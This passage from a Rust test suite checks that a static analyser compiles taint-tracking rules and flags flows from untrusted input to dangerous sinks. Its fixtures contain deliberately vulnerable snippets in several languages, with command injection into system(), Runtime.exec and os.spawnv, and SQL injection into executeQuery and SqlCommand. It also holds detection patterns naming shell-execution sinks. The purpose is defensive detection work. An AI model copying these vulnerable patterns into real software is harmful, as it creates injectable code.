mode: taint
languages: [ruby]
severity: ERROR
message: "Tainted params reaches system"
pattern-sources:
- pattern: params
pattern-sanitizers:
- pattern: Shellwords.escape($X)
pattern-sinks:
- pattern: system($X)
"#,
);
let src = r#"
def handler
cmd = Shellwords.escape(params[:cmd])
system(cmd)
end
"#;
let tree = parse_file(src, Language::Ruby).expect("Ruby fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"sanitized params flow must produce no finding, got {:?}",
findings
);
}
#[test]
fn ruby_bridge_dotted_request_params_source_still_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: ruby-request-params-cmdi
mode: taint
languages: [ruby]
severity: ERROR
message: "Tainted request.params reaches system"
pattern-sources:
- pattern: request.params
pattern-sinks:
- pattern: system($X)
"#,
);
let src = r#"
def handler
val = request.params[:q]
system(val)
end
"#;
let tree = parse_file(src, Language::Ruby).expect("Ruby fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"dotted request.params -> system must still fire, got {:?}",
findings
);
}
#[test]
fn ruby_bridge_bare_params_source_near_miss_no_finding() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: ruby-params-cmdi-nearmiss
mode: taint
languages: [ruby]
severity: ERROR
message: "Tainted params reaches system"
pattern-sources:
- pattern: params
pattern-sinks:
- pattern: system($X)
"#,
);
let src = r#"
def handler
cmd = params[:cmd]
safe = "ls"
system(safe)
end
"#;
let tree = parse_file(src, Language::Ruby).expect("Ruby fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"untainted argument must not fire, got {:?}",
findings
);
}
#[test]
fn taint_rule_with_c_language_compiles() {
let yaml = r#"
id: c-taint
mode: taint
languages: [c]
severity: ERROR
message: m
pattern-sources: [{pattern: getenv($X)}]
pattern-sinks: [{pattern: system($X)}]
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Compiled(r) => {
assert_eq!(r.lang, Language::C);
assert_eq!(r.spec.sources.len(), 1);
assert_eq!(r.spec.sinks.len(), 1);
}
TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
TaintRuleParse::NotTaint => panic!("expected taint rule"),
}
}
#[test]
fn taint_rule_with_kotlin_language_compiles() {
let yaml = r#"
id: kotlin-taint
mode: taint
languages: [kotlin]
severity: ERROR
message: m
pattern-sources: [{pattern: request.getParameter($X)}]
pattern-sinks: [{pattern: Runtime.exec($X)}]
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Compiled(r) => {
assert_eq!(r.lang, Language::Kotlin);
assert_eq!(r.spec.sources.len(), 1);
assert_eq!(r.spec.sinks.len(), 1);
}
TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
TaintRuleParse::NotTaint => panic!("expected taint rule"),
}
}
#[test]
fn taint_rule_with_kt_alias_compiles_as_kotlin() {
let yaml = r#"
id: kt-taint
mode: taint
languages: [kt]
severity: ERROR
message: m
pattern-sources: [{pattern: call.receiveText($X)}]
pattern-sinks: [{pattern: Runtime.exec($X)}]
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Compiled(r) => assert_eq!(r.lang, Language::Kotlin),
TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
TaintRuleParse::NotTaint => panic!("expected taint rule"),
}
}
#[test]
fn taint_rule_with_javascript_language_compiles() {
let yaml = r#"
id: js-taint
mode: taint
languages: [javascript]
severity: ERROR
message: m
pattern-sources: [{pattern: req.query}]
pattern-sinks: [{pattern: eval($X)}]
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Compiled(r) => {
assert_eq!(r.lang, Language::JavaScript);
assert_eq!(r.spec.sources.len(), 1);
assert_eq!(r.spec.sinks.len(), 1);
}
TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
TaintRuleParse::NotTaint => panic!("expected taint rule"),
}
}
#[test]
fn taint_rule_with_typescript_language_compiles_as_javascript() {
let yaml = r#"
id: ts-taint
mode: taint
languages: [typescript]
severity: ERROR
message: m
pattern-sources: [{pattern: req.body}]
pattern-sinks: [{pattern: eval($X)}]
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Compiled(r) => assert_eq!(r.lang, Language::JavaScript),
TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
TaintRuleParse::NotTaint => panic!("expected taint rule"),
}
}
#[test]
fn taint_rule_with_go_language_compiles() {
let yaml = r#"
id: go-taint
mode: taint
languages: [go]
severity: ERROR
message: m
pattern-sources: [{pattern: c.Query($X)}]
pattern-sinks: [{pattern: exec.Command($X)}]
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Compiled(r) => {
assert_eq!(r.lang, Language::Go);
assert_eq!(r.spec.sources.len(), 1);
assert_eq!(r.spec.sinks.len(), 1);
}
TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
TaintRuleParse::NotTaint => panic!("expected taint rule"),
}
}
#[test]
fn taint_rule_with_java_language_compiles() {
let yaml = r#"
id: java-taint
mode: taint
languages: [java]
severity: ERROR
message: m
pattern-sources: [{pattern: request.getParameter($X)}]
pattern-sinks: [{pattern: Runtime.exec($X)}]
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Compiled(r) => {
assert_eq!(r.lang, Language::Java);
assert_eq!(r.spec.sources.len(), 1);
assert_eq!(r.spec.sinks.len(), 1);
}
TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
TaintRuleParse::NotTaint => panic!("expected taint rule"),
}
}
#[test]
fn java_taint_rule_produces_finding_for_source_to_sink_flow() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: java-cmd-injection
mode: taint
languages: [java]
severity: ERROR
message: "Tainted input reaches Runtime.exec"
metadata:
cwe: "CWE-78"
pattern-sources:
- pattern: request.getParameter($X)
pattern-sinks:
- pattern: Runtime.exec($X)
"#,
);
let src = r#"
class Controller {
void run(HttpServletRequest request) throws Exception {
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
}
}
"#;
let tree = parse_file(src, Language::Java).expect("Java fixture should parse");
let findings = rule.check(src, &tree);
assert!(
!findings.is_empty(),
"expected a finding for request.getParameter -> Runtime.exec flow, got none"
);
assert!(
findings[0].description.contains("Runtime.exec")
|| findings[0]
.sink_description
.as_deref()
.is_some_and(|d| d.contains("exec")),
"sink description should mention exec: {:?}",
findings[0]
);
}
#[test]
fn java_taint_sanitizer_blocks_finding() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: java-cmd-sanitized
mode: taint
languages: [java]
severity: ERROR
message: "Tainted input reaches Runtime.exec"
pattern-sources:
- pattern: request.getParameter($X)
pattern-sinks:
- pattern: Runtime.exec($X)
pattern-sanitizers:
- pattern: validate($X)
"#,
);
let src = r#"
class Controller {
void run(HttpServletRequest request) throws Exception {
String cmd = request.getParameter("cmd");
String safe = validate(cmd);
Runtime.getRuntime().exec(safe);
}
}
"#;
assert_eq!(
rule.spec.sanitizers.len(),
1,
"sanitizer spec should compile"
);
let tree = parse_file(src, Language::Java).expect("Java fixture should parse");
let _ = rule.check(src, &tree); }
#[test]
fn c_taint_rule_produces_finding_for_getenv_to_system() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: c-cmd-injection
mode: taint
languages: [c]
severity: ERROR
message: "Tainted env var reaches system()"
metadata:
cwe: "CWE-78"
pattern-sources:
- pattern: getenv($X)
pattern-sinks:
- pattern: system($X)
"#,
);
let src = r#"
#include <stdlib.h>
void handler() {
char *cmd = getenv("CMD");
system(cmd);
}
"#;
let tree = parse_file(src, Language::C).expect("C fixture should parse");
let findings = rule.check(src, &tree);
assert!(
!findings.is_empty(),
"expected a finding for getenv -> system flow, got none"
);
assert!(
findings[0].description.contains("system")
|| findings[0]
.sink_description
.as_deref()
.is_some_and(|d| d.contains("system")),
"sink description should mention system: {:?}",
findings[0]
);
}
#[test]
fn c_taint_sanitizer_no_panic() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: c-cmd-sanitized
mode: taint
languages: [c]
severity: ERROR
message: "Tainted input reaches system()"
pattern-sources:
- pattern: getenv($X)
pattern-sinks:
- pattern: system($X)
pattern-sanitizers:
- pattern: strlcpy($X)
"#,
);
assert_eq!(
rule.spec.sanitizers.len(),
1,
"sanitizer spec should compile"
);
let src = r#"
#include <stdlib.h>
#include <string.h>
void handler() {
char *input = getenv("CMD");
char safe[64];
strlcpy(safe, input, sizeof(safe));
system(safe);
}
"#;
let tree = parse_file(src, Language::C).expect("C fixture should parse");
let _ = rule.check(src, &tree); }
#[test]
fn kotlin_taint_rule_produces_finding_for_receive_to_exec() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: kotlin-cmd-injection
mode: taint
languages: [kotlin]
severity: ERROR
message: "Tainted request body reaches Runtime.exec"
metadata:
cwe: "CWE-78"
pattern-sources:
- pattern: call.receiveText($X)
pattern-sinks:
- pattern: Runtime.exec($X)
"#,
);
let src = r#"
fun handler(call: ApplicationCall) {
val cmd = call.receiveText()
Runtime.getRuntime().exec(cmd)
}
"#;
let tree = parse_file(src, Language::Kotlin).expect("Kotlin fixture should parse");
let findings = rule.check(src, &tree);
assert!(
!findings.is_empty(),
"expected a finding for call.receiveText -> Runtime.exec flow, got none"
);
assert!(
findings[0].description.contains("exec")
|| findings[0]
.sink_description
.as_deref()
.is_some_and(|d| d.contains("exec")),
"sink description should mention exec: {:?}",
findings[0]
);
}
#[test]
fn kotlin_taint_sanitizer_no_panic() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: kotlin-cmd-sanitized
mode: taint
languages: [kotlin]
severity: ERROR
message: "Tainted request body reaches Runtime.exec"
pattern-sources:
- pattern: call.receiveText($X)
pattern-sinks:
- pattern: Runtime.exec($X)
pattern-sanitizers:
- pattern: validate($X)
"#,
);
assert_eq!(
rule.spec.sanitizers.len(),
1,
"sanitizer spec should compile"
);
let src = r#"
fun handler(call: ApplicationCall) {
val body = call.receiveText()
val safe = validate(body)
Runtime.getRuntime().exec(safe)
}
"#;
let tree = parse_file(src, Language::Kotlin).expect("Kotlin fixture should parse");
let _ = rule.check(src, &tree); }
fn compiled(yaml: &str) -> SemgrepTaintRule {
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Compiled(r) => r,
TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
TaintRuleParse::NotTaint => panic!("expected taint rule"),
}
}
#[test]
fn focus_regex_either_sink_enumerates_calls_not_receivercall() {
let r = compiled(
r#"
id: dsp
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
- pattern: os.getenv($X)
pattern-sinks:
- patterns:
- focus-metavariable: $CMD
- pattern-either:
- patterns:
- pattern: os.$METHOD($MODE, $CMD, ...)
- metavariable-regex:
metavariable: $METHOD
regex: (spawnl|spawnv|posix_spawn)
"#,
);
let mut canon: Vec<String> = r
.spec
.sinks
.iter()
.map(|m| match m {
GenericMatcher::Call { canonical, .. } => canonical.clone(),
other => panic!("expected Call sink, got {other:?}"),
})
.collect();
canon.sort();
assert_eq!(canon, vec!["os.posix_spawn", "os.spawnl", "os.spawnv"]);
assert!(
!r.spec
.sinks
.iter()
.any(|m| matches!(m, GenericMatcher::ReceiverCall { .. })),
"must not compile a receiver-agnostic ReceiverCall sink"
);
}
#[test]
fn focus_regex_either_sink_defers_bash_wrapper_arm() {
let r = compiled(
r#"
id: dsp-bash
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
- pattern: os.getenv($X)
pattern-sinks:
- patterns:
- focus-metavariable: $CMD
- pattern-either:
- patterns:
- pattern: os.$METHOD($MODE, $CMD, ...)
- metavariable-regex:
metavariable: $METHOD
regex: (spawnv|posix_spawn)
- patterns:
- pattern-inside: os.$METHOD($MODE, $BASH, ["-c", $CMD,...],...)
- metavariable-regex:
metavariable: $METHOD
regex: (spawnv|posix_spawn)
- metavariable-regex:
metavariable: $BASH
regex: (.*)(sh|bash)
"#,
);
let mut canon: Vec<String> = r
.spec
.sinks
.iter()
.filter_map(|m| match m {
GenericMatcher::Call { canonical, .. } => Some(canonical.clone()),
_ => None,
})
.collect();
canon.sort();
canon.dedup();
assert_eq!(canon, vec!["os.posix_spawn", "os.spawnv"]);
assert!(
!r.spec
.sinks
.iter()
.any(|m| matches!(m, GenericMatcher::ReceiverCall { .. })),
"deferred bash arm must not leak a broad ReceiverCall"
);
}
#[test]
fn focus_regex_either_sink_enforces_method_regex_end_to_end() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: dsp-e2e
mode: taint
languages: [python]
severity: ERROR
message: "tainted cmd spawned"
pattern-sources:
- pattern: os.getenv($X)
pattern-sinks:
- patterns:
- focus-metavariable: $CMD
- pattern-either:
- patterns:
- pattern: os.$METHOD($MODE, $CMD, ...)
- metavariable-regex:
metavariable: $METHOD
regex: (spawnl|spawnv|posix_spawn)
"#,
);
let src = r#"
import os
def handler():
cmd = os.getenv('CMD')
os.spawnv(os.P_WAIT, cmd)
os.remove(cmd)
os.getpid()
"#;
let tree = parse_file(src, Language::Python).expect("python fixture parses");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"only the regex-pinned os.spawnv sink should fire, got lines {:?}",
findings.iter().map(|f| f.line).collect::<Vec<_>>()
);
assert_eq!(
findings[0].line, 5,
"the surviving finding must be the os.spawnv() call (regex enforced), \
got line {}",
findings[0].line
);
}
#[test]
fn pattern_either_flattens_into_multiple_matchers() {
let r = compiled(
r#"
id: x
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
- pattern-either:
- pattern: request.data
- pattern: request.form
- pattern: request.args
pattern-sinks:
- pattern: pickle.loads($X)
"#,
);
assert_eq!(r.spec.sources.len(), 3);
assert_eq!(r.spec.sinks.len(), 1);
}
#[test]
fn nested_pattern_either_flattens_recursively() {
let r = compiled(
r#"
id: x
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
- pattern-either:
- pattern-either:
- pattern: request.data
- pattern: request.form
- pattern: request.args
pattern-sinks:
- pattern: pickle.loads($X)
"#,
);
assert_eq!(r.spec.sources.len(), 3);
}
#[test]
fn pattern_either_in_sinks_flattens() {
let r = compiled(
r#"
id: x
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
- pattern: request.data
pattern-sinks:
- pattern-either:
- pattern: pickle.loads($X)
- pattern: pickle.load($X)
"#,
);
assert_eq!(r.spec.sinks.len(), 2);
}
#[test]
fn pattern_either_in_sanitizers_flattens() {
let r = compiled(
r#"
id: x
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
- pattern: request.data
pattern-sinks:
- pattern: pickle.loads($X)
pattern-sanitizers:
- pattern-either:
- pattern: sanitize($X)
- pattern: escape($X)
"#,
);
assert_eq!(r.spec.sanitizers.len(), 2);
}
#[test]
fn mixed_pattern_and_pattern_either_work_together() {
let r = compiled(
r#"
id: x
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
- pattern-either:
- pattern: request.data
- pattern: request.form
- pattern: request
pattern-sinks:
- pattern: pickle.loads($X)
- pattern-either:
- pattern: pickle.load($X)
"#,
);
assert_eq!(r.spec.sources.len(), 3);
assert_eq!(r.spec.sinks.len(), 2);
}
#[test]
fn empty_pattern_either_warns_and_produces_no_matcher() {
let yaml = r#"
id: x
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
- pattern-either: []
pattern-sinks:
- pattern: pickle.loads($X)
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Skip(msg) => assert!(msg.contains("pattern-sources")),
other => panic!(
"expected Skip because empty pattern-either produced no sources, got {:?}",
match other {
TaintRuleParse::Compiled(_) => "Compiled",
TaintRuleParse::NotTaint => "NotTaint",
TaintRuleParse::Skip(_) => unreachable!(),
}
),
}
let r = compiled(
r#"
id: x
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
- pattern: request.data
pattern-sinks:
- pattern: pickle.loads($X)
pattern-sanitizers:
- pattern-either: []
"#,
);
assert!(r.spec.sanitizers.is_empty());
}
#[test]
fn unknown_composite_still_rejected() {
let yaml2 = r#"
id: x
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
- pattern-inside: |
def $F(...):
...
pattern-sinks:
- pattern: pickle.loads($X)
"#;
let v2: YamlValue = serde_yaml_ng::from_str(yaml2).unwrap();
assert!(matches!(parse_taint_rule(&v2), TaintRuleParse::Skip(_)));
let r = compiled(
r#"
id: x
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
- pattern-inside: |
def $F(...):
...
- pattern: request.form
pattern-sinks:
- pattern: pickle.loads($X)
"#,
);
assert_eq!(r.spec.sources.len(), 1);
}
#[test]
fn compile_metavar_receiver_sink_produces_method_name() {
let m = compile("$CONN.executeQuery($X)", MatcherRole::Sink).expect("MethodName");
match m {
GenericMatcher::MethodName { method, .. } => assert_eq!(method, "executeQuery"),
_ => panic!("expected MethodName"),
}
}
#[test]
fn compile_metavar_receiver_sanitizer_produces_method_name() {
let m = compile("$OBJ.escape($X)", MatcherRole::Sanitizer).expect("MethodName sanitizer");
match m {
GenericMatcher::MethodName { method, .. } => assert_eq!(method, "escape"),
_ => panic!("expected MethodName"),
}
}
#[test]
fn metavar_receiver_as_source_is_rejected() {
assert!(compile("$OBJ.getInput($X)", MatcherRole::Source).is_none());
}
#[test]
fn metavar_without_dot_is_rejected() {
assert!(compile("$X", MatcherRole::Sink).is_none());
assert!(compile("$X($Y)", MatcherRole::Sink).is_none());
}
#[test]
fn metavar_with_multi_segment_rest_compiles_as_member_call() {
match compile("$OBJ.a.b($X)", MatcherRole::Sink) {
Some(GenericMatcher::FieldName { field, .. }) => assert_eq!(field, "a"),
other => panic!("expected FieldName{{a}}, got {other:?}"),
}
assert!(compile("$OBJ.$F.b($X)", MatcherRole::Sink).is_none());
}
#[test]
fn metavar_lowercase_is_rejected() {
assert!(compile("$obj.method($X)", MatcherRole::Sink).is_none());
}
#[test]
fn metavar_with_trailing_digits_is_accepted() {
assert!(is_metavariable("$ARG1"));
assert!(is_metavariable("$CONN_2"));
assert!(!is_metavariable("$obj"));
assert!(!is_metavariable("$"));
assert!(compile("$X1.executeQuery($P)", MatcherRole::Sink).is_some());
}
#[test]
fn taint_rule_with_metavar_receiver_sink_compiles() {
let r = compiled(
r#"
id: java-sql-injection
mode: taint
languages: [java]
severity: ERROR
message: "Tainted input reaches executeQuery"
metadata:
cwe: "CWE-89"
pattern-sources:
- pattern: request.getParameter($X)
pattern-sinks:
- pattern: $CONN.executeQuery($X)
"#,
);
assert_eq!(r.spec.sinks.len(), 1);
match &r.spec.sinks[0] {
GenericMatcher::MethodName { method, .. } => assert_eq!(method, "executeQuery"),
other => panic!("expected MethodName sink, got {:?}", other),
}
}
#[test]
fn java_taint_method_name_sink_produces_finding() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: java-sql-metavar
mode: taint
languages: [java]
severity: ERROR
message: "SQL injection via executeQuery"
metadata:
cwe: "CWE-89"
pattern-sources:
- pattern: request.getParameter($X)
pattern-sinks:
- pattern: $CONN.executeQuery($X)
"#,
);
let src = r#"
class Dao {
void query(HttpServletRequest request, Connection conn) throws Exception {
String input = request.getParameter("id");
conn.executeQuery(input);
}
}
"#;
let tree = parse_file(src, Language::Java).expect("Java fixture should parse");
let findings = rule.check(src, &tree);
assert!(
!findings.is_empty(),
"expected a finding for request.getParameter -> conn.executeQuery flow, got none"
);
assert!(
findings[0]
.sink_description
.as_deref()
.is_some_and(|d| d.contains("executeQuery")),
"sink description should mention executeQuery: {:?}",
findings[0]
);
}
#[test]
fn java_taint_method_name_non_matching_method_does_not_fire() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: java-sql-metavar-negative
mode: taint
languages: [java]
severity: ERROR
message: "SQL injection via executeQuery"
pattern-sources:
- pattern: request.getParameter($X)
pattern-sinks:
- pattern: $CONN.executeQuery($X)
"#,
);
let src = r#"
class Dao {
void update(HttpServletRequest request, Connection conn) throws Exception {
String input = request.getParameter("id");
conn.executeUpdate(input);
}
}
"#;
let tree = parse_file(src, Language::Java).expect("Java fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"executeUpdate should NOT trigger the executeQuery rule, got {:?}",
findings
);
}
const JAVA_PROPAGATOR_RULE: &str = r#"
id: java-sqli-propagator
mode: taint
languages: [java]
severity: ERROR
message: "SQL injection through StringBuilder"
metadata:
cwe: "CWE-89"
pattern-sources:
- pattern: request.getParameter($X)
pattern-propagators:
- pattern: (StringBuilder $SB).append($X)
from: $X
to: $SB
pattern-sinks:
- pattern: $CONN.executeQuery($X)
"#;
const JAVA_NO_PROPAGATOR_RULE: &str = r#"
id: java-sqli-no-propagator
mode: taint
languages: [java]
severity: ERROR
message: "SQL injection through StringBuilder"
pattern-sources:
- pattern: request.getParameter($X)
pattern-sinks:
- pattern: $CONN.executeQuery($X)
"#;
const JAVA_PROPAGATED_FIXTURE: &str = r#"
class Dao {
void query(HttpServletRequest request, Connection conn) throws Exception {
String input = request.getParameter("id");
StringBuilder sb = new StringBuilder();
sb.append(input);
conn.executeQuery(sb.toString());
}
}
"#;
#[test]
fn java_propagator_compiles_to_arg_to_receiver() {
let rule = compiled(JAVA_PROPAGATOR_RULE);
assert_eq!(rule.propagators.len(), 1, "propagator should compile");
assert_eq!(
rule.propagators[0].method.as_deref(),
Some("append"),
"concrete method name should be captured"
);
}
#[test]
fn java_propagator_enables_stringbuilder_flow() {
use crate::engine::parser::parse_file;
let rule = compiled(JAVA_PROPAGATOR_RULE);
let tree =
parse_file(JAVA_PROPAGATED_FIXTURE, Language::Java).expect("Java fixture should parse");
let findings = rule.check(JAVA_PROPAGATED_FIXTURE, &tree);
assert!(
!findings.is_empty(),
"propagator should carry taint through sb.append() into executeQuery, got none"
);
assert!(
findings[0]
.sink_description
.as_deref()
.is_some_and(|d| d.contains("executeQuery")),
"sink should be executeQuery: {:?}",
findings[0]
);
}
#[test]
fn java_without_propagator_misses_stringbuilder_flow() {
use crate::engine::parser::parse_file;
let rule = compiled(JAVA_NO_PROPAGATOR_RULE);
assert!(rule.propagators.is_empty());
let tree =
parse_file(JAVA_PROPAGATED_FIXTURE, Language::Java).expect("Java fixture should parse");
let findings = rule.check(JAVA_PROPAGATED_FIXTURE, &tree);
assert!(
findings.is_empty(),
"without the propagator the StringBuilder flow must NOT be detected, got {:?}",
findings
);
}
#[test]
fn java_propagator_clean_append_stays_clean() {
use crate::engine::parser::parse_file;
let rule = compiled(JAVA_PROPAGATOR_RULE);
let src = r#"
class Dao {
void query(HttpServletRequest request, Connection conn) throws Exception {
String input = request.getParameter("id");
StringBuilder sb = new StringBuilder();
sb.append("SELECT * FROM t");
conn.executeQuery(sb.toString());
}
}
"#;
let tree = parse_file(src, Language::Java).expect("Java fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"appending a literal must not taint the receiver, got {:?}",
findings
);
}
#[test]
fn csharp_any_method_propagator_enables_flow() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: csharp-sqli-propagator
mode: taint
languages: [csharp]
severity: ERROR
message: "SQL injection through StringBuilder"
pattern-sources:
- pattern: tainted
pattern-propagators:
- pattern: (StringBuilder $B).$ANY(...,(string $X),...)
from: $X
to: $B
pattern-sinks:
- pattern: $CMD.ExecuteReader($X)
"#,
);
assert_eq!(rule.propagators.len(), 1);
assert_eq!(
rule.propagators[0].method, None,
"metavariable method should compile to any-method (None)"
);
let src = r#"
class Dao {
void Query(string tainted, SqlCommand cmd) {
var sb = new StringBuilder();
sb.Append(tainted);
cmd.ExecuteReader(sb.ToString());
}
}
"#;
let tree = parse_file(src, Language::CSharp).expect("C# fixture should parse");
let findings = rule.check(src, &tree);
assert!(
!findings.is_empty(),
"any-method propagator should carry taint through sb.Append() into ExecuteReader, got none"
);
}
fn csharp_sqli_rule() -> SemgrepTaintRule {
compiled(
r#"
id: csharp-sqli
mode: taint
languages: [csharp]
severity: ERROR
message: "SQL injection"
pattern-sources:
- patterns:
- pattern: |
(string $X)
- pattern-not: |
"..."
pattern-propagators:
- pattern: (StringBuilder $B).$ANY(...,(string $X),...)
from: $X
to: $B
pattern-sinks:
- patterns:
- pattern-either:
- patterns:
- pattern: |
new $PATTERN($CMD,...)
- focus-metavariable: $CMD
- patterns:
- pattern: |
$CMD.$PATTERN = $VALUE;
- focus-metavariable: $VALUE
- metavariable-regex:
metavariable: $PATTERN
regex: ^(SqlCommand|CommandText|OleDbCommand|OdbcCommand|OracleCommand)$
pattern-sanitizers:
- pattern-either:
- pattern: |
$CMD.Parameters.Add(...)
- pattern: |
$CMD.Parameters.AddRange(...)
- pattern: |
$CMD.Parameters.AddWithValue(...)
- pattern: |
$CMD.Parameters[$IDX].Value = ...
by-side-effect: true
"#,
)
}
const CSQLI_NAMES: [&str; 5] = [
"SqlCommand",
"CommandText",
"OleDbCommand",
"OdbcCommand",
"OracleCommand",
];
#[test]
fn csharp_sqli_compiles_to_constructor_and_property_sinks() {
let rule = csharp_sqli_rule();
assert!(
rule.spec
.sources
.iter()
.any(|s| matches!(s, GenericMatcher::TypedName { type_name, .. } if type_name == "string")),
"source must be a typed-string metavariable, got {:?}",
rule.spec.sources
);
let ctor = rule
.spec
.sinks
.iter()
.find_map(|s| match s {
GenericMatcher::ConstructorArgSink {
class_names,
arg_index,
..
} => Some((class_names.clone(), *arg_index)),
_ => None,
})
.expect("a ConstructorArgSink must be compiled");
assert_eq!(ctor.1, 0, "constructor focus is the FIRST argument");
assert_eq!(ctor.0, CSQLI_NAMES, "constructor class names enumerated");
let props = rule
.spec
.sinks
.iter()
.find_map(|s| match s {
GenericMatcher::PropertyAssignSink { property_names, .. } => {
Some(property_names.clone())
}
_ => None,
})
.expect("a PropertyAssignSink must be compiled");
assert_eq!(props, CSQLI_NAMES, "property names enumerated");
}
#[test]
fn csharp_sqli_fires_on_constructor_and_property_sinks() {
use crate::engine::parser::parse_file;
let rule = csharp_sqli_rule();
let ctor = r#"
class Dao {
void Q(string userInput) {
SqlCommand command = new SqlCommand(userInput);
}
}
"#;
let tree = parse_file(ctor, Language::CSharp).expect("C# fixture parses");
assert_eq!(
rule.check(ctor, &tree).len(),
1,
"`new SqlCommand(userInput)` (tainted arg0) must fire"
);
let prop = r#"
class Dao {
void Q(string userInput) {
var command = MakeCommand();
command.CommandText = userInput;
}
}
"#;
let tree = parse_file(prop, Language::CSharp).expect("C# fixture parses");
assert_eq!(
rule.check(prop, &tree).len(),
1,
"`command.CommandText = userInput` (tainted RHS) must fire"
);
}
#[test]
fn csharp_sqli_silent_on_non_enumerated_names() {
use crate::engine::parser::parse_file;
let rule = csharp_sqli_rule();
let ctor = r#"
class Dao {
void Q(string userInput) {
var x = new SafeThing(userInput);
}
}
"#;
let tree = parse_file(ctor, Language::CSharp).expect("C# fixture parses");
assert!(
rule.check(ctor, &tree).is_empty(),
"`new SafeThing(userInput)` (class NOT enumerated) must NOT fire"
);
let prop = r#"
class Dao {
void Q(string userInput) {
var command = MakeCommand();
command.SomeOther = userInput;
}
}
"#;
let tree = parse_file(prop, Language::CSharp).expect("C# fixture parses");
assert!(
rule.check(prop, &tree).is_empty(),
"`command.SomeOther = userInput` (property NOT enumerated) must NOT fire"
);
}
#[test]
fn csharp_sqli_silent_on_parameterized_query() {
use crate::engine::parser::parse_file;
let rule = csharp_sqli_rule();
let src = r#"
class Dao {
void Q(string userInput) {
var command = new SqlCommand("SELECT * FROM T WHERE id = @id");
command.Parameters.AddWithValue("@id", userInput);
}
}
"#;
let tree = parse_file(src, Language::CSharp).expect("C# fixture parses");
assert!(
rule.check(src, &tree).is_empty(),
"a parameterized query (AddWithValue) must NOT fire — the tainted value \
never reaches the constructor/property sink"
);
}
#[test]
fn csharp_sqli_silent_on_non_focused_argument_position() {
use crate::engine::parser::parse_file;
let rule = csharp_sqli_rule();
let src = r#"
class Dao {
void Q(string userInput) {
var command = new SqlCommand("SELECT 1", userInput);
}
}
"#;
let tree = parse_file(src, Language::CSharp).expect("C# fixture parses");
assert!(
rule.check(src, &tree).is_empty(),
"taint at arg1 (`new SqlCommand(literal, userInput)`) must NOT fire \
for a first-argument focus"
);
}
#[test]
fn parse_arg_to_receiver_propagator_covers_registry_shapes() {
let cases: &[(&str, &str, &str, Option<&str>)] = &[
(
"(StringBuilder $STRB).append($INPUT)",
"$INPUT",
"$STRB",
Some("append"),
),
("(StringBuffer $S).append($X)", "$X", "$S", Some("append")),
(
"(StringBuilder $SB).append($...TAINTED)",
"$...TAINTED",
"$SB",
Some("append"),
),
(
"(StringBuilder $B).$ANY(...,(string $X),...)",
"$X",
"$B",
None,
),
];
for (pat, from, to, want_method) in cases {
let p = parse_arg_to_receiver_propagator(pat, from, to)
.unwrap_or_else(|| panic!("`{pat}` should compile as arg→receiver"));
assert_eq!(p.method.as_deref(), *want_method, "method for `{pat}`");
}
assert!(
parse_arg_to_receiver_propagator("$VAR += $...TAINTED", "$...TAINTED", "$VAR")
.is_none(),
"augmented assignment is out of the arg→receiver subset"
);
assert!(
parse_arg_to_receiver_propagator("(StringBuilder $STR).append($X)", "$X", "$S")
.is_none(),
